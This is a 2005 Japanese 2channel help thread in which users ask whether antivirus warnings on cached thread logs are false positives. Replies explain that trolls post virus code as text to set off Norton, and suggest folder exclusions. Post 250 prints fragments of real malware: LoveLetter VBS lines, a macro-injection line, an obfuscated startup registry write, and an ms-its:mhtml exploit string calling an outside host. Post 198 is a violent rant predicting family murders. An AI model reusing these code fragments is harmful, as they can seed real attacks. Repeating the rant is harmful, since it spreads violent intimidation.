\Temporary Internet Files\Content.IE5\MVAP076F\woid[1].jpg
Trojan Horse
とか出るんですけど、誤反応ですか？
vbsのウィルスコードと大空寺のメール蘭攻撃は
除外しているはずなんですが。
ありえないとは思いますがて開いただけで感染したんですか？
Trojan Horse
ウィルス名:
Trojan Horse
別名:
感染場所:
.EXE ファイル
99:ひよこ名無しさん
05/05/22 02:28:48
>>98
そのファイルはjpgじゃなくて、exeということらしい。
誤反応ではなくて、本物。
スレを開いただけでは感染しないけど、
その画像ファイルをIEで開くと感染する可能性がある。
100:98
05/05/22 02:46:42 GqakRWGu
>>99
おそらく原因のレスは
ｽﾚﾘﾝｸ(entrance板:899-番)
だと思いますが、これ画像そのものはクリックしてないんですが
ただスレッドを開いた瞬間ノートン先生が激しく怒ったｽ
ログを見ても
アクセスが拒否されました。
修復できませんでした。
としか出てません。
最新のウィルス定義ファイルを落とさないと駆除できないみたいですが、
これは最近のということでしょうか？
そして、今自分のPCにTemporary Internet Filesや
他の場所にウィルスが潜伏してるということはないんでしょうか？それを開くとアウツみたいな。
101:ひよこ名無しさん
05/05/22 02:49:13
>>100
そこの899だよ。
でも、ノートンが隔離してるはず。
そうでなくても、IEの一時ファイルをクリアして、ごみ箱を空にするだけでいい。
102:98
05/05/22 02:51:49 GqakRWGu
>>101
レスサンクス
この.jpgブラクラは最近登場したんでしょうか
これからまた誤反応する人とかいっぱいでるんでしょうか
103:ひよこ名無しさん
05/05/22 02:52:55
>>102
だから、誤反応じゃないって言ってるのに。
104:98
05/05/22 02:57:16 GqakRWGu
モノホン反応ですか、ノートン使ってる人は
反応でますよね？どうするんでしょうかこれ
105:98
05/05/22 03:04:15
あ、ノートン使ってても
画像ポップアップ有効にしてないと意味ないのか
106:ひよこ名無しさん
05/05/22 03:05:41
>>104
Q.画像プレビューや画像ポップアップでアンチウィルスソフトが反応する事がある
A.画像プレビューも画像ポップアップもイメージタグで表示するだけなので、
仮にそれがウイルスだったとしても、あくまで画像として処理され、
ウイルスのコードが実行される事はないので安全。気にする事なし。
107:98
05/05/22 03:06:20
>>106
サンクス、どうもでした(=ﾟωﾟ)ﾉｼｭ
108:ひよこ名無しさん
05/05/22 21:11:27 zQU5xhse
テスト
109:ひよこ名無しさん
05/05/23 00:27:44 C8+JokU/
ms-its:mhtml:file://c:\
kak.hta';ken=wdt'START
この二つに激しくノートンが反応するんですが
これも誤反応ですか？vbsとは違う種類みたいですが
110:ひよこ名無しさん
05/05/23 00:30:33
>>109
誤反応
ただの文字列では何も出来ない。
111:ひよこ名無しさん
05/05/23 00:38:46
>>110
sankusu
112:ひよこ名無しさん
05/05/23 00:39:33
>>109
113:ひよこ名無しさん
05/05/23 12:52:25
age
114:ひよこ名無しさん
05/05/23 21:27:57 AIqAZiI7
すみません。初心者スレッドから誘導されてきました。
このスレに来る時もそうでしたが、あるスレに行くと
ノートンが反応して「修復できません」と表示されます。
結果「Bloodhound.Exploit.6」を検疫することで
通常の状態に戻るようなのですが、
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか？
どなたか教えてください。お願いいたします。
115:ひよこ名無しさん
05/05/23 21:31:20
まず専ブラ入れれ
116:114
05/05/23 21:44:11 AIqAZiI7
>>115
はい。検討します。これ↓
「Bloodhound.Exploit.6」ファイルを検疫項目の中から
右クリックで削除してもよいものでしょうか？
についてはどうでしょうか？
117:ひよこ名無しさん
05/05/23 21:49:16
それはすべきじゃないから
専ブラ入れてからログのフォルダを除外設定にするのよ
このへんよめ
URLﾘﾝｸ(www.sannet.ne.jp)
118:114
05/05/23 22:07:32 AIqAZiI7
>>117
なるほど、そうですか。
どうもありがとうございました。
119:ひよこ名無しさん
05/05/24 11:39:34 xooP0kni
青空さんは山田砲撃たれたことないの
もういっぺん感染してほしいの
120:ﾉtasukeruyo
05/05/24 16:56:41 1JBRx0B0
>>117
>114と同様の警告がでます。
どういったウイルスなのでしょうか。
ｽﾚﾘﾝｸ(mog2板) >>4
で拾ったようなのですが
スレ違いだったらごめんなさい。
121:ひよこ名無しさん
05/05/24 16:59:06
>>120
URLﾘﾝｸ(www.google.co.jp)
122:120
05/05/24 17:00:31
専ブラはJane派生系使ってます
123:120
05/05/24 17:03:19
>>121
ありがとうございます。m(__)m
124:ひよこ名無しさん
05/05/25 00:18:25
先日脳豚先生が誤動作したんだけど、そんときに「Bloodhound.Exploit.6」
ってのが誤検出されたんだが、誤検出だっつってんのに
納得しないやからがいる。
どっかで↑みたいなのが検出されても誤動作だって
わかるように解説してるページない？
125:ひよこ名無しさん
05/05/25 00:22:44
>>1
126:ひよこ名無しさん
05/05/28 00:50:41 tmw7KRqu
UnixPenguinと言う名のウィルスが5/6に感染していた事が先ほどわかり
ファイルを削除 しかしパソを再起動したらそのファイルがありました
ファイルを削除したら普通消えるのでは？
5/6に感染してたって事は、20日以上気づかないで放置って事は・・・ﾔﾊﾞｲ？
127:ひよこ名無しさん
05/05/28 00:52:54
>>126
まさか「誤反応」の意味がわからない？
128:ひよこ名無しさん
05/05/28 00:55:51 tmw7KRqu
誤反応？？？まじで？
アタッマきたんでまたファイル消したら完全にファイル消えたよｗ
129:ひよこ名無しさん
05/05/29 11:51:31
(･∀･)ｽﾝｽﾝｽｰﾝ♪
130:ひよこ名無しさん
05/05/29 11:55:12
( ﾟдﾟ)ﾊｯ!
131:ひよこ名無しさん
05/05/30 14:53:36
とあるスレを見ようとするとノートン先生が反応します。
ウィルス「MHTML Redir.Exploit」
実害は無い感じなので
反応したと思われるlogを削除しただけですが
これもまた誤反応なのでしょうか？
132:ひよこ名無しさん
05/05/30 14:59:34
ちなみにギコなびを使っています。
133:ひよこ名無しさん
05/05/30 18:45:45
失礼します。
IEを使用していますが、板や特定スレを開くとウイルス反応がでます。
削除しようとしても削除できないため、除外しておいていますが
問題はないんでしょうか？
削除も検疫など有効と思われることが出来ないのでしょうがなく
除外している状態です。上の方で削除のことがでてますが削除しないと問題ありますか。
134:ひよこ名無しさん
05/05/30 23:34:04
>>133
多分ウイルスに似たコードを載せている為にウイルスと誤認識して反応しているだけですよ。
135:ひよこ名無しさん
05/05/30 23:36:25
なんだか>>40と同じ症状です。
症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
その為、その場所は反応しないのですが一時ファイル（キャッシュ）の場所が反応しています。
一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
安置ウイルスの役割してくれないらしいので除外したくありません。
今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
専ブラはJANE使用。Norton AntiVirusは10.0.10.13ｇバージョン使用。
因みにOSはXPのHOMEです。アドバイスおねがいします。
136:ひよこ名無しさん
05/05/31 10:18:11
>>134
レスありがとうございます。
Auto-Protectでひっかかるんですが>>39を読むと除外でも
問題なさそうですね・・・？大丈夫かな。
ただ>>135を読むと除外もよくないみたいでどうしたらいいのかとも思う。
137:名無しさん＠お腹いぱーい。
05/05/31 12:22:06 BE:1886843-#
>>135
> なんだか>>40と同じ症状です。
> 症状というのは【Unix Penguin】というウイルスコードが最近になって反応するようになりました。
> 専ブラのフォルダはサブフォルダ含めてAuto-Protectと手動スキャンの除外項目に確実に入っています。
スレッドタイトルに反応したんじゃないかな。
URLﾘﾝｸ(info.2ch.net)
Janeの場合はfavorites.dat
ε三（; ･∀･）鯖ﾏﾃﾞｵﾂｶｲの場合result.datを除外に加えてね。
> その為、その場所は反応しないのですが一時ファイル（キャッシュ）の場所が反応しています。
> 一時フォルダも除外指定すれば簡単なんですけど、他のサイト閲覧する時とか
> 安置ウイルスの役割してくれないらしいので除外したくありません。
> 今まで一時ファイルは反応しなかったのに今更反応するのが、どうしてなのか分かりません。
> 専ブラはJANE使用。Norton AntiVirusは10.0.10.13ｇバージョン使用。
> 因みにOSはXPのHOMEです。アドバイスおねがいします。
ブラウザでスレを開いたんじゃないかな。
>>10で一時ファイルの削除の仕方があるので見てね。
>>136
IEの一時ファイルを除外にしないで
2ちゃんねるブラウザのログフォルダを除外にしてください。
>>135>>136
2ちゃんねるブラウザのより細かい設定はそれぞれの2ちゃんねるブラウザのスレで確認してね。
ソフトウェア
URLﾘﾝｸ(pc8.2ch.net)
138:ひよこ名無しさん
05/05/31 19:09:47 Smprwa5o
初歩的な質問なんですが教えてもらえませんか？
何故ノートンだけが反応するんですか？
ノートンで反応したファイルを消さず、ウィルスバスターに反応するか試しましたが、反応なしでした。
【Unix Penguin】は、ウィルスなんですよね？
なのに何故・・・？
139:ひよこ名無しさん
05/05/31 19:18:29
先生はよく間違えますが本物を逃すこともありません
140:ひよこ名無しさん
05/05/31 19:20:25
>>138
ノートﾝは、ごく一部の文字列がファイルに含まれてるだけでウイルスと診断してるから。
判定の手抜きと言っていい。
もちろん、２ちゃんのログがウイルスとして機能する可能性は皆無。
141:138
05/06/01 22:06:01 9OpZge8m
>>140
レスありがとう
それにしてもこんなイタズラいったい誰が・・・
142:ひよこ名無しさん
05/06/01 22:49:26
>>131
まったく同じような症状がでます。
自分はブラウザをjaneを使っているんですが、
ノートンのオンラインスキャンをすると、
C:...\openjanedoe-0.1.11.0\Logs\2ch\ネット関係\セキュリティ\数字.dat は
MHTMLRedir.Exploit に感染しています
と出ます。何度やっても。
これは感染しているのか？それとも誤反応なのか？
物凄い不安です。ノートン以外では反応しないので。
143:cen ◆Pm9xOTJuM.
05/06/01 23:47:27 BE:144884693-##
>>142
>>17のでdatのスクリプトを無効化してみるといいかもです。
144:ひよこ名無しさん
05/06/04 14:57:06 BE:83962548-##
除外をログフォルダだけじゃなく、C\ProgramFile\Live2chにしたんだけど
危険かなぁー。
145:ひよこ名無しさん
05/06/04 15:13:05
>>144
ログだけにしといた方がいい
146:ひよこ名無しさん
05/06/07 21:55:56
わぁ、それらしいレスの内容をメモ帳に貼り付けて保存した瞬間、ノートン先生に持ってかれちゃったよぅ！
147:ひよこ名無しさん
05/06/08 10:11:07
URLﾘﾝｸ(www.uploda.org)
148:ひよこ名無しさん
05/06/08 10:11:48
147誤爆ですごめんなさい
149:ひよこ名無しさん
05/06/08 22:39:06
age
150:ひよこ名無しさん
05/06/09 06:32:01 /DokQMWm
ノートパソコンなんですが、キーボードの隙間にゴミが入ってキーが押しにくくなって困る
151:ひよこ名無しさん
05/06/09 22:09:48 c+f8GHIp
パソコンの電源入れると最初にseeqという検索サイトが出る
ようになっちまいました。以前はMSNだったんですけど、昔の体に
戻れますか？戻し方教えてください
152:ひよこ名無しさん
05/06/09 22:24:05
>>151
スレ違いだけど、システムの復元で直前の日付に戻せ。
153:ひよこ名無しさん
05/06/09 22:45:34 c+f8GHIp
スレ違いですか、すみません。パソコン初心者なん
システムの復元ってどうやるんですか？
154:ひよこ名無しさん
05/06/09 22:46:44
>>153
URLﾘﾝｸ(www.google.co.jp)
155:ひよこ名無しさん
05/06/09 22:48:38
ありがとうございます がｍばってみます
156:ひよこ名無しさん
05/06/09 22:51:53
最近また急激に増えたな。
ウイルスバスターloveのやつらのしわざか？
157:１５１
05/06/09 22:54:18
ＯＳが２０００なんですけど… 復元できないみたいです
158:ひよこ名無しさん
05/06/09 22:55:26
>>157
リカバリしろ
159:１５１
05/06/09 22:58:46
リカバリってお金出して修理みたいですね…
160:ひよこ名無しさん
05/06/09 22:59:32
>>159
自分でできる。取扱説明書を150回嫁
161:１５１
05/06/09 23:02:46
読みます！
最近外国のサイトの広告みたいのが表示されることがあって…
リカバリでその辺も治りますか？
162:ひよこ名無しさん
05/06/09 23:09:30
>>161
直る
163:ひよこ名無しさん
05/06/09 23:09:42
>>161
基本的には、リカバリで買った時と同じ状態になる。
従って、データは全部消えるので、気をつけて。
164:１５１
05/06/09 23:14:51
ありがとうございました！
今度はデータのバックアップについて勉強しないといけなそうですね。
ちなみに何の広告なんですかねこれ↓
URLﾘﾝｸ(adserver.sharewareonline.com)
ダウンロードしろって感じで頻繁に表示されるんです
165:ひよこ名無しさん
05/06/10 19:44:30 Z3xy6uEy
スミマセン。他のスレから誘導されてきました。
ＶＩＰ板をリロードすると毎回ノートン先生がウイルス警告してくるんですがなぜですか？
ウイルス名 Bloodhound.Exploit.6
適用した処理 ファイルを修復できません。
と出てＯＫを押した後に
ウイルス名 Bloodhound.Exploit.6
適用した処理 ファイルへのアクセスが拒否されました。
とでます。
ＶＩＰ以外の板ではこのような警告は出ません。ノートンは2005年の新しいやつです。
ウイルススキャンしてみましたが問題ありませんでした。
ＯＳはＸＰです。
よろしくです。
166:ひよこ名無しさん
05/06/10 20:58:43
このスレの最初のへん読めばわかるよ
167:１６５
05/06/12 02:06:13 CFzaInzJ
>>166
あの。。。いろいろみましたけど専門用語ばかりでよくわかりません。
半年ROMはすでに経験墨です。
できたら詳細も教えていただきたいのですが。
168:ひよこ名無しさん
05/06/12 02:08:54
>>167
ノートン捨てるんだ。
169:ひよこ名無しさん
05/06/12 14:33:06
>>167
>7
170:１６５
05/06/12 14:54:46 Yt6W8JkL
普通に感染されてました。。。
検疫というのをしたら問題のファイルがどっかいったみたいです。
171:ひよこ名無しさん
05/06/13 00:20:19 vyhhOQ6i
ｽﾚﾘﾝｸ(ascii板)
ここのウイルスコードで出来たスレタイをクリックしてから、
すべての板で書き込むたびに誤作動をおこします・・・・
それでここへたどりついたのですが、
＞NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
これって具体的にどうすればいいのでしょうか？
・オートプロテクト
・除外
・除外する項目
とまでは出来たのですが、最後の「除外する項目」に何かを入れるのですか？
それとも項目を削除するのですか？
何を入れたらいいのか、何を削除すればいいのか教えてください・・・。
今現在の項目はこの３つです
*.dbx
*.nch
*.sysutem volume information
ライブ２ちゃん使用です。
172:ひよこ名無しさん
05/06/13 00:22:19
>>171
ログのあるフォルダーのバスを追加する
173:ひよこ名無しさん
05/06/13 00:25:28 vyhhOQ6i
>>172
よければ手順を・・・・まったく意味が分かりません・・・・
174:ひよこ名無しさん
05/06/13 01:00:06 vyhhOQ6i
>>7を参考に、
Cドライブ→ﾌﾟﾛｸﾞﾗﾑ→ライブ２ちゃん→ログ
とういう感じでログをノートンの除外に選択したら、半角板を開いただけでノートンが反応することはなくなりました。
しかし、すべての板で書き込むたびにノートンが反応するっていうのは直りません。
どうすればいいですか？
175:ひよこ名無しさん
05/06/13 01:04:12 vyhhOQ6i
「kakikomi」というのも除外に選択したらなおりました。おさがわせいたしました。
176:ひよこ名無しさん
05/06/13 01:53:23 vyhhOQ6i
半角を踏んだらウイルス反応（誤作動）する方へ
専用ﾌﾞﾗｳｻﾞlive2chとﾉｰﾄﾝを使ってる方へ
ｽﾚﾘﾝｸ(ascii板)
177:名無しさん＠お腹いぱーい。
05/06/13 15:14:46 ZBKBALPS BE:3772883-##
てす
178:名無しさん＠お腹いぱーい。
05/06/13 16:16:31 BE:9903997-##
>>171-176
乙
ノートントラップ
URLﾘﾝｸ(ansitu.xrea.jp)
Ｑ8．２ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか？
URLﾘﾝｸ(ansitu.xrea.jp)
※スレタイがノートントラップのスレに書き込んだ場合、書き込み履歴も反応します。
2chWikiは申請中。
179:ひよこ名無しさん
05/06/13 21:20:42 IDZd2XHn
乙
180:ひよこ名無しさん
05/06/13 21:42:48 +eHKR6hW
ノートンがvbsウィルスのソースに誤反応、
ってスレタイにもあるけど、ビューア経由でも反応するんですか？
スレによっては、IEと使い分けてるんですが、ビューアで開いた時に
限って怒られるんです・・・。
181:ひよこ名無しさん
05/06/13 21:44:03
ノートン捨てちゃえ
182:ひよこ名無しさん
05/06/13 21:49:48
>>175
ウイルスを書き込んだのですか、ああ、そうですか。
183:180
05/06/13 21:55:46
>>176
ご回答ありがとうございます！助かりました（←大馬鹿）！
184:ひよこ名無しさん
05/06/14 15:17:13
>>170
詳しく。
漏れも同じ症状でビビってる。
185:ひよこ名無しさん
05/06/14 15:43:32
>>184
>>178
186:ひよこ名無しさん
05/06/15 07:07:41 MyWTZaCo
祭り中でーすｗ
URLﾘﾝｸ(www.bonotto.jp)
韓国の小学生が描いた絵
ｽﾚﾘﾝｸ(korea板)
187:縞んてっく
05/06/15 09:22:16
脳豚を入れているユーザは２ちゃんを見ないようにしてください。
188:ひよこ名無しさん
05/06/15 15:31:52
avast!入れてる貧乏人の俺はどうですか？
189:ひよこ名無しさん
05/06/15 21:11:20 MbvAfu2/
URLﾘﾝｸ(fuckingreset.cesarsoft.com.ar)
ウィルス注意↑
これ多分ウィルスですが、貼られたスレッドを開いただけでノートン反応します
これも>>98同様、誤反応ですよね？
190:ひよこ名無しさん
05/06/15 22:55:11
(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙｶﾞﾀｶﾞﾀﾌﾞﾙｶﾞﾀｶﾞｸｶﾞｸｶﾞｸｶﾞｸｶﾞｸ
191:名無しさん＠お腹いぱーい。
05/06/18 23:57:40 BE:6603067-##
ｽﾚﾘﾝｸ(sec板:5番)
Q. 2chのスレを2chブラウザで開くと、ウイルスを検出するんだけど
A. avast!はノートンと同じく、ウイルスコードも検出する。
ただのテキストのコードなのでウイルスに感染することはない悪戯行為だから気にしないで大丈夫。
誤検出しないようにするには、以下の2通りの方法がある。
・avast!の標準シールドの感度を [普通] に設定 or avast!の標準シールドの例外設定に2chブラウザのdatフォルダを設定
・2chブラウザでWebシールドを使わないように設定
URLﾘﾝｸ(info.2ch.net)
>>189
それだけではわかりません。
そのようなリンクを貼られるようなスレではノートントラップも貼られていたのかもしれませんし、
あなたがリンク（他にも同様な悪意あるリンク）を踏んでいて反応したのかも
（2ちゃんねるブラウザによっては画像サムネイル機能が働いて画像ファイルに偽装されたウイルスに反応することがあります。・・・正常な反応です。）
リンクを不用意に踏まないことも肝心です。
>>4
尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
URLﾘﾝｸ(find.2ch.net)
192:ひよこ名無しさん
05/06/20 18:43:13
ひろゆきは2ch総合案内に対処法載せてくれないの？
初心者はこんな所見ないと思うのだが…
193:ひよこ名無しさん
05/06/20 19:34:26
>>192
そんなこと書かなくても、根本的に対策できるのに3年以上放置。
ノートンも放置。
そんなもんさ。
194:ひよこ名無しさん
05/06/20 20:01:35
サイトの問題ではなくて、ノートンとそのユーザーの問題だからでしょ。
どうしても見て欲しい、書き込みして欲しいと思えばそういうこともするだろうけど、
めんどくさいから、対策できない人は切捨てって考えてるんでしょ。
195:ひよこ名無しさん
05/06/22 01:42:06
ニュース速報みてたらノートン先生が激怒しました！今、スキャン中何かすごい不安
196:ひよこ名無しさん
05/06/22 01:50:09
年取ると怒りっぽくなるよね
197:ひよこ名無しさん
05/06/22 01:59:11
ﾊｧ？
198:ひよこ名無しさん
05/06/22 06:30:50
まぁ今危ぶまれている年間自殺者３万人なんていうのもさぁ
何だかんだ言ってお友達と楽しく戯れていた全共闘世代のジジイがほとんどで
そんな奴らのノスタルジーとニートの絶望的な孤独を一緒にされちゃあかなわないよね。
まぁ政府も腹の底じゃあ、このままズルズルと大人になって勝手に死んでくれりゃあ本望
とか思ってるだろうケドさあ、俺達には一人一人明確な敵がいるんだよね。
原因があっての結果。
勉強しなきゃ立派な大人になれませんよなんて乳幼児でも知ってることを
やらなかったらこうなった、なんて言い切れるほど楽天家じゃないんだよね。
アホみたいな受験戦争、家畜のような体罰教育、友達からの陰湿なイジメ、見知らぬ大人のいやがらせ
バブル期に子供にだけ苦労させて親やセンセや同級生は泡まみれで遊び放題。
敷かれたレールの先に娯楽があると鞭打たれ、苦難を乗り越えたどり着いたら就職難。
ゴミのように切り捨てられていく俺らの１０代、２０代。
いつの間にか自分より馬鹿が出世して、自分よりブサイクが結婚し、自分より足の遅いヤツがオリンピックに出ている。
両親を恨む者、先生の居所を探す者、同僚の近況を探る者、誰でもいいから殺してやりたいと思っている者
そんなヤツらがじっと己の部屋で計画を練っている。
まぁはっきり言わせてもらえば、あんたら、幸せ家族を気取っているのも今のうちだね。
鬱ブームだかなんだか知らないが、テレビ一つ落ち着いて見られなかったような俺らに
勝者、敗者とか貧乏さん番組なんてメディア戦略は通用しないね。
殺されるまえに、必ず殺す。
そう、この先10年。
被害者の過去2-30年を遡らないと犯人が割り出せない
そんな一家まるごと惨殺事件が続くだろうね・・
199:ひよこ名無しさん
05/06/22 14:52:29
age
200:ひよこ名無しさん
05/06/23 20:20:22
>>192
ひろゆきは初心者大嫌い
ひっかかって嘆くユーザーをみてニヤニヤしてます
それが嫌なら来るなって考え
201:ひよこ名無しさん
05/06/24 11:57:13
先生が反応しBloodhound.Exploit.6が出現！
みなさんどう？
202:ひよこ名無しさん
05/06/27 15:24:14
age
203:ひよこ名無しさん
05/06/28 21:44:54
>>201
前にそれありましたけど。（当方Jane Doe Style)
反応した部分の過去ログ捨てたら何も問題なかったですよ。
204:ひよこ名無しさん
05/06/28 21:49:26
>>201
それはログのウイルスコードに反応してるだけだからむっしっし
205:ひよこ名無しさん
05/06/29 10:53:00
age
206:ひよこ名無しさん
05/06/30 09:46:32
207:cen ◆Pm9xOTJuM.
05/07/03 02:02:31 2e/PomzS BE:10829873-##
そうそう。
>>17のソフトをアップデートしたので、よかったらダウンロード
してくださいです。
URLﾘﾝｸ(www.geocities.jp)
208:ひよこ名無しさん
05/07/03 02:21:24
>>207
ウィルス注意！！
209:ひよこ名無しさん
05/07/03 11:33:52
>>207
見損ないました
210:ひよこ名無しさん
05/07/03 12:37:13
ノートン先生がunix.Penguinに誤反応してしまって
今のとこ解決策はないんでしょうか？
ノートン先生捨ててバスターに変えても問題ない？
XPはノートン先生入れとかないとまずいみたいなこと聞いたんだが・・
211:ひよこ名無しさん
05/07/03 13:08:38
>>208-209
どういうこと？新verにウィルスが入ってたの？
212:ひよこ名無しさん
05/07/03 13:44:44
>>207
コレはジョーダンのつもり？シャレんなんないでしょ
213:ひよこ名無しさん
05/07/03 14:59:25
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs
214:ひよこ名無しさん
05/07/03 16:51:16
>>211
ただの叩き
215:ひよこ名無しさん
05/07/04 22:08:48
age
216:ひよこ名無しさん
05/07/04 22:51:16
ペンギンウイルスは無害？
217:ひよこ名無しさん
05/07/05 00:28:46
移動してきました、度々すいません。半角文字列板のスレを開いたらウイルス警告が出ました。
環境はノートンです。
ｽｷｬﾝ後も感染を修復することはできませんでした。
ウイルス名：Bloodhound.Exploit.6
誘導されてこちらにきました。
初心者で何をしたらいいかわかりません・・このスレにウイルスがいるのでしょうか？
ご教授お願いします・・
218:217
05/07/05 00:57:58
追記
発生源 C:\Documents and Settings\Owner\デスクトップ\Jane\Logs\2ch\大人の時間\半角文字列\1120269811.dat
です。誤報なのでしょうか？修復できないので不安です・・
219:ひよこ名無しさん
05/07/05 01:04:26
>>218
少しはスレを読め
220:217
05/07/05 01:41:21
すいません読み返しました。
・・一応反応のあったログを削除後ログファイルを除外指定しました。
除外しましたが、
ログファイルの中には数々のフォルダがありました。ログ自体、感染はあり得ないのでしょうか？
有り得ないから除外するのだと思いますが、念のためお聞きしました
221:ひよこ名無しさん
05/07/05 01:42:54
>>220
有り得ない。
ノートンの手抜きチェックが悪い。
222:217
05/07/05 01:47:47
わかりました。ありがとう御座います。
あと、ログフォルダの中のログファイルでした。訂正します。すいません
223:ひよこ名無しさん
05/07/05 21:43:47
224:ひよこ名無しさん
05/07/07 16:50:38 8PA32UYB
Bloodhound.Exploit.6ってのが頻繁に検出される。
これはに関しては誤作動ではないんだよな？
225:ひよこ名無しさん
05/07/07 16:54:19
みんな どんどんウイルシに感染してるよ
226:ひよこ名無しさん
05/07/07 17:01:06
考えるんじゃなくて感じて
227:ひよこ名無しさん
05/07/12 21:42:11 ubqbqkwI
警告ｷﾀ━━━(ﾟ∀ﾟ)━━━ !!
228:ひよこ名無しさん
05/07/13 13:31:31 yrCZUMNS
a
229:ひよこ名無しさん
05/07/13 23:57:08
>>217
おいらも同様の症状なのですが、どうなんでしょうか？
230:ひよこ名無しさん
05/07/14 00:00:53
>>229
ただの誤検出
231:ひよこ名無しさん
05/07/14 13:01:20
Bloodhound俺もｷﾀよ。実況板で。
232:ひよこ名無しさん
05/07/14 14:37:31
シマンテックのオンラインスキャンをすると、
2chブラウザのdatファイルからウィルス反応しまくりなんですが、
この手の反応は全て誤反応と解釈してよろしいですか？
233:cen ◆Pm9xOTJuM.
05/07/15 21:44:52 AyDUrGnO BE:27848096-##
そうそう。
>>17のソフトをアップデートしましたので、よかったら
ダウンロードをしてくださいです。
URLﾘﾝｸ(www.geocities.jp)
234:cen ◆Pm9xOTJuM.
05/07/15 21:45:17 BE:18049875-##
>>232
それでいいと思います。
235:232
05/07/16 00:14:07
>>234
ありがとう。安心した
236:ひよこ名無しさん
05/07/16 15:48:29
安心した
237:ひよこ名無しさん
05/07/16 20:23:01
それでいいのか？・・・・・ほんとにだいじょぶ？
238:cen ◇Pm9xOTJuM. に注意
05/07/18 00:23:37
パソコン初心者総合質問スレッド vol.1072
ｽﾚﾘﾝｸ(pcqa板)
399 名前：299[] 投稿日：2005/07/06(水) 21:47:49 ID:YFmNomOu
★症状： 以前までは出来ていた、PCでのDVD-Video再生が出来なくなった。
★試したソフト： Media Player Classic , Mediaunite , Windows Media Player 10
★関係有りそうな出来事： DirectShow Filterに「GPL MPEG-1/2 Decoder」を追加した。
何方か原因解りませんか？
せめてハードかソフト、どちらに原因がありそうかだけでも解れば幸いです。
405 名前：ひよこ名無しさん[sage] 投稿日：2005/07/06(水) 21:50:29 ID:???
>>399
ハードかソフトに原因
408 名前：cen ◆Pm9xOTJuM. [sage] 投稿日：2005/07/06(水) 21:52:09 ID:??? ?##
>>405
あと人間
411 名前：ひよこ名無しさん[sage] 投稿日：2005/07/06(水) 21:53:30 ID:???
>>408
暴言ﾋﾄﾞｽｗ
239:ひよこ名無しさん
05/07/18 01:23:34
cenも人間
240:ひよこ名無しさん
05/07/20 16:38:42 1McjtpBt
初心者の質問のところから誘導されてきました。以下にそのままコピペします。
windowsXPのhome editionで、Internet Exproler6、更新バージョンはSP2です。
よろしくお願いします。
ノートンのアンチウィルスが「Unix Penguin」というウィルスを検知しました。
場所がインターネット一時ファイルのようだったので、「インターネットオプション
→ファイルの削除」をしました。
すると、なぜか｢お気に入り｣が消えてしまったのです。
誤って自分で消してしまったのだろうと言われたのでそうかと思い、もう一度
覚えている限り戻そうとしたら「入力したショートカットの名前は既にお気に入り
メニューに存在します。置き換えますか？」と出ます。それで置き換えても
表示されません。新たにショートカットの名前を変えて登録すれば表示される
のですが……。
私の「お気に入り」の中には、表示されるものと表示されないものが両方
存在しています。表示されないものを再び表示する、または消し去ることは
できないでしょうか。消し去れれば、また再び作り直そうと思いますが…。
241:ひよこ名無しさん
05/07/20 16:45:29
>>240
誘導してない。
少しはログ読め。
242:240
05/07/20 16:54:41
>>240
ああほんとだ！
すみません、慌ててました……
243:240
05/07/20 17:02:34
>>241
でも、表示のみ消えた「お気に入り」については、どこかに書いてありますか？
ノートンとは関係ないのかもしれないですが…。
244:ひよこ名無しさん
05/07/20 17:04:13
>>243
関係ない。
インターネットオプション→詳細設定→使用してないフォルダは閉じる
245:240=243
05/07/20 17:23:59
ありがとうございます。
やってみましたが、駄目でした。
そもそも「お気に入り」の星マークのアイコンが、見当たりません。favorite
の中もカラになっています。私はなんだか変なことをしてしまったみたいですね。
もうちょっといじってみることにします。。失礼しました。
246:ひよこ名無しさん
05/07/21 11:16:56
ノートンアンチウィルス2005、open jane Doe 0.1.12.2 を使っています。
該当スレのログを除外しようとしたのですが、スレッドのidxはあるのですが、datがそのスレッドに限って見つからず、改善できません。
スレッドは
ｽﾚﾘﾝｸ(koumei板:11番)
このメール欄にウィルスコードが貼ってあるのです。
対処の方法を御教示願います。
247:246
05/07/21 13:27:51
すみません、自己解決しました。
スルーしてください。
248:ひよこ名無しさん
05/07/22 03:59:12 pHdm2INX
age
249:ひよこ名無しさん
05/07/22 22:55:05 EfV4fKSJ BE:245057797-
【Live2ch 】 1.10
【 ｽｷﾝ 】 Default
【Windows】 XP
【Firewall .】 NortonInternetSecurity
【 不具合 】 騙されてms-its: mhtml:file://c:\をメール欄に書いたらブラウザがおかしくなった。
インストールフォルダのメールのテキストドキュメントも開かない。
250:ひよこ名無しさん
05/07/22 22:56:13
ほう・・・騙されてねぇ～
c.Copy(dirwin&"\Win32DLL.vbs")？
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")？
<object？data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz)"？type="text/？
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*？
fso.copyfile？"dirsystem&nurupo.vbs",？"j:\windows\start？menu\programs\startup\"？
If？s？=？"htm"？and？fso.FileExists(f1.path+"l")？=？False？then？fso.CopyFile？f1.path,？f1.path+"l"？
ToInfect.CodeModule.InsertLines？BGN,？ADI1.CodeModule.Lines(BGN,？)？
G.RegWrite？A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),？E.BuildPath(E.GetSpecialFolder(1),？A("VHORU@SU/WCR"))？
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))？
ms-its:mhtml:file://c:\ ？
kak.hta';ken=wd+'START？
251:ひよこ名無しさん
05/07/23 20:23:19
Bloodhound流行ってんの？
252:ひよこ名無しさん
